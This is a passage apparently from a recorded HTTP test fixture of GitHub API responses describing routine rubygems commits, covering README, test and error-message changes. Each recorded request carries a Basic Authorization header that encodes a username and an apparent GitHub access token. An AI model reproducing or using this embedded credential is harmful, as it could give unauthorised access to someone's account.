ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:35 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4614' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"b42c2e85e79ec34f9b66b2de5de0c7dc" Last-Modified: - Fri, 05 Jan 2018 01:00:52 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.041213' X-Github-Request-Id: - A15E:4D96:97134A:13A3122:5A50E457 body: encoding: ASCII-8BIT string: '{"sha":"6b4cbbba4955b37521afb4481d454211ca960271","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2018-01-05T01:00:52Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2018-01-05T01:00:52Z"},"message":"Auto merge of #2136 - rubygems:colby/readme-title-consistent, r=segiddins\n\ntitleize \"GETTING HELP\" in readme\n\nThis is a quick PR that just titleizes \"GETTING HELP\" from being all uppercase to make it consistent with the rest of the document.\n______________\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"46b3c7e1792f56664034d44d1405b7a8a089aa5f","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/46b3c7e1792f56664034d44d1405b7a8a089aa5f"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/6b4cbbba4955b37521afb4481d454211ca960271","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/6b4cbbba4955b37521afb4481d454211ca960271","html_url":"https://github.com/rubygems/rubygems/commit/6b4cbbba4955b37521afb4481d454211ca960271","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/6b4cbbba4955b37521afb4481d454211ca960271/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"986179676fa57773ac6468adb8d36f98271734f6","url":"https://api.github.com/repos/rubygems/rubygems/commits/986179676fa57773ac6468adb8d36f98271734f6","html_url":"https://github.com/rubygems/rubygems/commit/986179676fa57773ac6468adb8d36f98271734f6"},{"sha":"d133514a99ad8a984524a615ff2799db3a5512aa","url":"https://api.github.com/repos/rubygems/rubygems/commits/d133514a99ad8a984524a615ff2799db3a5512aa","html_url":"https://github.com/rubygems/rubygems/commit/d133514a99ad8a984524a615ff2799db3a5512aa"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"cd9130be0698d826381dee0d98740a264b10bfc2","filename":"README.md","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/6b4cbbba4955b37521afb4481d454211ca960271/README.md","raw_url":"https://github.com/rubygems/rubygems/raw/6b4cbbba4955b37521afb4481d454211ca960271/README.md","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/README.md?ref=6b4cbbba4955b37521afb4481d454211ca960271","patch":"@@ -37,7 +37,7 @@ can be viewed online at http://www.rubydoc.info/github/rubygems/rubygems\n RubyGems also provides a comprehensive set of guides which covers numerous topics such as\n creating a new gem, security practices and other resources at http://guides.rubygems.org\n \n-## GETTING HELP\n+## Getting Help\n \n ### Support Requests\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:35 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/71b7c87f32deea6b4e9aaba23fd2638917c8ed2d body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:36 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4613' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"090c6881c095cdc41f75e52816e47ea3" Last-Modified: - Fri, 05 Jan 2018 00:51:15 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.050649' X-Github-Request-Id: - C430:4D97:90343B:1C46AD4:5A50E457 body: encoding: ASCII-8BIT string: '{"sha":"71b7c87f32deea6b4e9aaba23fd2638917c8ed2d","commit":{"author":{"name":"ko1","email":"ko1@b2dd03c8-39d4-4d8f-98ff-823fe69b080e","date":"2017-12-28T20:09:24Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2018-01-05T00:51:15Z"},"message":"`$SAFE` as a process global state. [Feature #14250]\n\n* test/rubygems/test_gem.rb: do not set `$SAFE = 1`.\n\n* test/rubygems/test_gem_specification.rb: ditto.\n\ngit-svn-id: svn+ssh://ci.ruby-lang.org/ruby/trunk@61510 b2dd03c8-39d4-4d8f-98ff-823fe69b080e","tree":{"sha":"bdb9a74d8cdea78c2380eae59830edbbc0258203","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/bdb9a74d8cdea78c2380eae59830edbbc0258203"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/71b7c87f32deea6b4e9aaba23fd2638917c8ed2d","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlpOzEAACgkQ+c8TQXJk\n+sI+nAgAmPNAnJOramrvxQQ//tUDkpILiDC2aqqrega3eHPwUJQRwH1GJcZTeAVX\nJJBPwMX0eaKC3x+xVh19/41vb2hVd0YE7TEYGcKvQHLHyRhUAmn1HInW5UBjL0io\nRkPVccArKAJcgGZI4cdNmHiYMEUO83B7EEnnVbd1kb6QlR+FY3B62SUKK2pQDUHs\n5QRWhjtQL5vAr/AeXnfpKFPvIVIt1VHoLHI45guRrgQc+q0jCsDLcOy3YaExngpa\nZ0Q4fQ4T8OOG0umk7yE6pQPuXxIj69ONmH1NR9TcmuS8COJ1vMYOVAGgOeVJbNPC\nxn4nNWQmrWQ1Y2AjkwA0sAT0e350aw==\n=Zd2G\n-----END PGP SIGNATURE-----","payload":"tree bdb9a74d8cdea78c2380eae59830edbbc0258203\nparent 71c2f0d3e3c9a247e2301495b8885d55a4db6236\nauthor ko1 1514491764 +0000\ncommitter SHIBATA Hiroshi 1515113475 +0900\n\n`$SAFE` as a process global state. [Feature #14250]\n\n* test/rubygems/test_gem.rb: do not set `$SAFE = 1`.\n\n* test/rubygems/test_gem_specification.rb: ditto.\n\ngit-svn-id: svn+ssh://ci.ruby-lang.org/ruby/trunk@61510 b2dd03c8-39d4-4d8f-98ff-823fe69b080e\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/71b7c87f32deea6b4e9aaba23fd2638917c8ed2d","html_url":"https://github.com/rubygems/rubygems/commit/71b7c87f32deea6b4e9aaba23fd2638917c8ed2d","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/71b7c87f32deea6b4e9aaba23fd2638917c8ed2d/comments","author":{"login":"ko1","id":9558,"avatar_url":"https://avatars3.githubusercontent.com/u/9558?v=4","gravatar_id":"","url":"https://api.github.com/users/ko1","html_url":"https://github.com/ko1","followers_url":"https://api.github.com/users/ko1/followers","following_url":"https://api.github.com/users/ko1/following{/other_user}","gists_url":"https://api.github.com/users/ko1/gists{/gist_id}","starred_url":"https://api.github.com/users/ko1/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ko1/subscriptions","organizations_url":"https://api.github.com/users/ko1/orgs","repos_url":"https://api.github.com/users/ko1/repos","events_url":"https://api.github.com/users/ko1/events{/privacy}","received_events_url":"https://api.github.com/users/ko1/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"71c2f0d3e3c9a247e2301495b8885d55a4db6236","url":"https://api.github.com/repos/rubygems/rubygems/commits/71c2f0d3e3c9a247e2301495b8885d55a4db6236","html_url":"https://github.com/rubygems/rubygems/commit/71c2f0d3e3c9a247e2301495b8885d55a4db6236"}],"stats":{"total":5,"additions":4,"deletions":1},"files":[{"sha":"80ae8e90ef6a2e032cd6d942db28b1ca9d7f532a","filename":"test/rubygems/test_gem.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/71b7c87f32deea6b4e9aaba23fd2638917c8ed2d/test/rubygems/test_gem.rb","raw_url":"https://github.com/rubygems/rubygems/raw/71b7c87f32deea6b4e9aaba23fd2638917c8ed2d/test/rubygems/test_gem.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem.rb?ref=71b7c87f32deea6b4e9aaba23fd2638917c8ed2d","patch":"@@ -7,7 +7,7 @@\n require ''tmpdir''\n \n # TODO: push this up to test_case.rb once battle tested\n-$SAFE=1\n+\n $LOAD_PATH.map! do |path|\n path.dup.untaint\n end"},{"sha":"afc919d41168908bdac4b6a53966f26f62fe7a04","filename":"test/rubygems/test_gem_specification.rb","status":"modified","additions":3,"deletions":0,"changes":3,"blob_url":"https://github.com/rubygems/rubygems/blob/71b7c87f32deea6b4e9aaba23fd2638917c8ed2d/test/rubygems/test_gem_specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/71b7c87f32deea6b4e9aaba23fd2638917c8ed2d/test/rubygems/test_gem_specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_specification.rb?ref=71b7c87f32deea6b4e9aaba23fd2638917c8ed2d","patch":"@@ -948,6 +948,9 @@ def test_self_load_tainted\n @a2.files.clear\n \n assert_equal @a2, spec\n+\n+ ensure\n+ $SAFE = 0\n end\n \n def test_self_load_escape_curly"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:36 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/71c2f0d3e3c9a247e2301495b8885d55a4db6236 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:36 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4612' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"17cf03e3d91afcf4e0f56c2a23c061aa" Last-Modified: - Fri, 05 Jan 2018 00:50:40 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.043811' X-Github-Request-Id: - A162:4D95:F478C9:1C82CDB:5A50E458 body: encoding: ASCII-8BIT string: '{"sha":"71c2f0d3e3c9a247e2301495b8885d55a4db6236","commit":{"author":{"name":"ko1","email":"ko1@b2dd03c8-39d4-4d8f-98ff-823fe69b080e","date":"2017-12-27T14:50:49Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2018-01-05T00:50:40Z"},"message":"fix concurrent test.\n\n* test/rubygems/test_require.rb (test_concurrent_require):\n Synchronizations should be in ensure clause. Sometimes\n `require` fails (not sure why) and latch is not released.\n Such case introduces unlimited awaiting.\n This patch soleve this problem.\n\n\ngit-svn-id: svn+ssh://ci.ruby-lang.org/ruby/trunk@61501 b2dd03c8-39d4-4d8f-98ff-823fe69b080e","tree":{"sha":"0234af26751fc9c3e0907624e8a2f83060e1b06d","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/0234af26751fc9c3e0907624e8a2f83060e1b06d"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/71c2f0d3e3c9a247e2301495b8885d55a4db6236","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/71c2f0d3e3c9a247e2301495b8885d55a4db6236","html_url":"https://github.com/rubygems/rubygems/commit/71c2f0d3e3c9a247e2301495b8885d55a4db6236","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/71c2f0d3e3c9a247e2301495b8885d55a4db6236/comments","author":{"login":"ko1","id":9558,"avatar_url":"https://avatars3.githubusercontent.com/u/9558?v=4","gravatar_id":"","url":"https://api.github.com/users/ko1","html_url":"https://github.com/ko1","followers_url":"https://api.github.com/users/ko1/followers","following_url":"https://api.github.com/users/ko1/following{/other_user}","gists_url":"https://api.github.com/users/ko1/gists{/gist_id}","starred_url":"https://api.github.com/users/ko1/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ko1/subscriptions","organizations_url":"https://api.github.com/users/ko1/orgs","repos_url":"https://api.github.com/users/ko1/repos","events_url":"https://api.github.com/users/ko1/events{/privacy}","received_events_url":"https://api.github.com/users/ko1/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"986179676fa57773ac6468adb8d36f98271734f6","url":"https://api.github.com/repos/rubygems/rubygems/commits/986179676fa57773ac6468adb8d36f98271734f6","html_url":"https://github.com/rubygems/rubygems/commit/986179676fa57773ac6468adb8d36f98271734f6"}],"stats":{"total":30,"additions":11,"deletions":19},"files":[{"sha":"a106fc21a651a7d6c271c17eeb4fa22b42536645","filename":"test/rubygems/test_require.rb","status":"modified","additions":11,"deletions":19,"changes":30,"blob_url":"https://github.com/rubygems/rubygems/blob/71c2f0d3e3c9a247e2301495b8885d55a4db6236/test/rubygems/test_require.rb","raw_url":"https://github.com/rubygems/rubygems/raw/71c2f0d3e3c9a247e2301495b8885d55a4db6236/test/rubygems/test_require.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_require.rb?ref=71c2f0d3e3c9a247e2301495b8885d55a4db6236","patch":"@@ -38,18 +38,6 @@ def assert_require(path)\n assert require(path), \"''#{path}'' was already required\"\n end\n \n- def append_latch spec\n- dir = spec.gem_dir\n- Dir.chdir dir do\n- spec.files.each do |file|\n- File.open file, ''a'' do |fp|\n- fp.puts \"FILE_ENTERED_LATCH.release\"\n- fp.puts \"FILE_EXIT_LATCH.await\"\n- end\n- end\n- end\n- end\n-\n # Providing -I on the commandline should always beat gems\n def test_dash_i_beats_gems\n a1 = new_spec \"a\", \"1\", {\"b\" => \"= 1\"}, \"lib/test_gem_require_a.rb\"\n@@ -80,6 +68,15 @@ def test_dash_i_beats_gems\n Object.send :remove_const, :HELLO if Object.const_defined? :HELLO\n end\n \n+ def create_sync_thread\n+ Thread.new do\n+ yield\n+ ensure\n+ FILE_ENTERED_LATCH.release\n+ FILE_EXIT_LATCH.await\n+ end\n+ end\n+\n def test_concurrent_require\n skip ''deadlock'' if /^1\\.8\\./ =~ RUBY_VERSION\n \n@@ -91,11 +88,8 @@ def test_concurrent_require\n \n install_specs a1, b1\n \n- append_latch a1\n- append_latch b1\n-\n- t1 = Thread.new { assert_require ''a'' }\n- t2 = Thread.new { assert_require ''b'' }\n+ t1 = create_sync_thread{ assert_require ''a'' }\n+ t2 = create_sync_thread{ assert_require ''b'' }\n \n # wait until both files are waiting on the exit latch\n FILE_ENTERED_LATCH.await\n@@ -106,8 +100,6 @@ def test_concurrent_require\n assert t1.join, \"thread 1 should exit\"\n assert t2.join, \"thread 2 should exit\"\n ensure\n- return if $! # skipping\n-\n Object.send :remove_const, :FILE_ENTERED_LATCH\n Object.send :remove_const, :FILE_EXIT_LATCH\n end"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:36 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/69609048840b3844bbd9c0a21814d2511d2ee3ba body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:36 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4611' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"9ac439689d35eb59e9ec7768625967f3" Last-Modified: - Sat, 30 Dec 2017 12:41:49 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.049819' X-Github-Request-Id: - C434:4D95:F478D1:1C82CEF:5A50E458 body: encoding: ASCII-8BIT string: '{"sha":"69609048840b3844bbd9c0a21814d2511d2ee3ba","commit":{"author":{"name":"Colby Swandale","email":"colby@taplaboratories.com","date":"2017-12-30T12:33:45Z"},"committer":{"name":"Colby Swandale","email":"colby@taplaboratories.com","date":"2017-12-30T12:41:49Z"},"message":"Improve the error message given when using --version with multiple gems\nin the install command\n\nSet the error message to now be:\n\n Can''t use --version with multiple gems. You can specify multiple gems with\n version requirements using `gem install ''my_gem:1.0.0'' ''my_other_gem:~>2.0.0\n\nThis gives a more easily understood example of the argument format to\nuse in rubygems when installing multiple gems with versions constraints.","tree":{"sha":"8ef0d9428c70aa62fa15ef555d6b983b91c8b724","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/8ef0d9428c70aa62fa15ef555d6b983b91c8b724"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/69609048840b3844bbd9c0a21814d2511d2ee3ba","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/69609048840b3844bbd9c0a21814d2511d2ee3ba","html_url":"https://github.com/rubygems/rubygems/commit/69609048840b3844bbd9c0a21814d2511d2ee3ba","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/69609048840b3844bbd9c0a21814d2511d2ee3ba/comments","author":{"login":"colby-swandale","id":996377,"avatar_url":"https://avatars0.githubusercontent.com/u/996377?v=4","gravatar_id":"","url":"https://api.github.com/users/colby-swandale","html_url":"https://github.com/colby-swandale","followers_url":"https://api.github.com/users/colby-swandale/followers","following_url":"https://api.github.com/users/colby-swandale/following{/other_user}","gists_url":"https://api.github.com/users/colby-swandale/gists{/gist_id}","starred_url":"https://api.github.com/users/colby-swandale/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/colby-swandale/subscriptions","organizations_url":"https://api.github.com/users/colby-swandale/orgs","repos_url":"https://api.github.com/users/colby-swandale/repos","events_url":"https://api.github.com/users/colby-swandale/events{/privacy}","received_events_url":"https://api.github.com/users/colby-swandale/received_events","type":"User","site_admin":false},"committer":{"login":"colby-swandale","id":996377,"avatar_url":"https://avatars0.githubusercontent.com/u/996377?v=4","gravatar_id":"","url":"https://api.github.com/users/colby-swandale","html_url":"https://github.com/colby-swandale","followers_url":"https://api.github.com/users/colby-swandale/followers","following_url":"https://api.github.com/users/colby-swandale/following{/other_user}","gists_url":"https://api.github.com/users/colby-swandale/gists{/gist_id}","starred_url":"https://api.github.com/users/colby-swandale/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/colby-swandale/subscriptions","organizations_url":"https://api.github.com/users/colby-swandale/orgs","repos_url":"https://api.github.com/users/colby-swandale/repos","events_url":"https://api.github.com/users/colby-swandale/events{/privacy}","received_events_url":"https://api.github.com/users/colby-swandale/received_events","type":"User","site_admin":false},"parents":[{"sha":"986179676fa57773ac6468adb8d36f98271734f6","url":"https://api.github.com/repos/rubygems/rubygems/commits/986179676fa57773ac6468adb8d36f98271734f6","html_url":"https://github.com/rubygems/rubygems/commit/986179676fa57773ac6468adb8d36f98271734f6"}],"stats":{"total":6,"additions":4,"deletions":2},"files":[{"sha":"d8427402b0d1e37ced867469b1f18ead18b0cf63","filename":"lib/rubygems/commands/install_command.rb","status":"modified","additions":2,"deletions":1,"changes":3,"blob_url":"https://github.com/rubygems/rubygems/blob/69609048840b3844bbd9c0a21814d2511d2ee3ba/lib/rubygems/commands/install_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/69609048840b3844bbd9c0a21814d2511d2ee3ba/lib/rubygems/commands/install_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/install_command.rb?ref=69609048840b3844bbd9c0a21814d2511d2ee3ba","patch":"@@ -134,7 +134,8 @@ def check_install_dir # :nodoc:\n def check_version # :nodoc:\n if options[:version] != Gem::Requirement.default and\n get_all_gem_names.size > 1 then\n- alert_error \"Can''t use --version w/ multiple gems. Use name:ver instead.\"\n+ alert_error \"Can''t use --version with multiple gems. You can specify multiple gems with\" \\\n+ \" version requirments using `gem install ''my_gem:1.0.0'' ''my_other_gem:~>2.0.0''`\"\n terminate_interaction 1\n end\n end"},{"sha":"d684004e385d23e76ad35913e4621d3fb2d77dd7","filename":"test/rubygems/test_gem_commands_install_command.rb","status":"modified","additions":2,"deletions":1,"changes":3,"blob_url":"https://github.com/rubygems/rubygems/blob/69609048840b3844bbd9c0a21814d2511d2ee3ba/test/rubygems/test_gem_commands_install_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/69609048840b3844bbd9c0a21814d2511d2ee3ba/test/rubygems/test_gem_commands_install_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_install_command.rb?ref=69609048840b3844bbd9c0a21814d2511d2ee3ba","patch":"@@ -602,7 +602,8 @@ def test_execute_two_version\n \n assert_empty @cmd.installed_specs\n \n- msg = \"ERROR: Can''t use --version w/ multiple gems. Use name:ver instead.\"\n+ msg = \"ERROR: Can''t use --version with multiple gems. You can specify multiple gems with\" \\\n+ \" version requirments using `gem install ''my_gem:1.0.0'' ''my_other_gem:~>2.0.0''`\"\n \n assert_empty @ui.output\n assert_equal msg, @ui.error.chomp"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:36 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/d133514a99ad8a984524a615ff2799db3a5512aa body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:36 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4610' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"5291038173a4ebfe71df4d0b0588414a" Last-Modified: - Sat, 30 Dec 2017 11:07:45 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.054552' X-Github-Request-Id: - 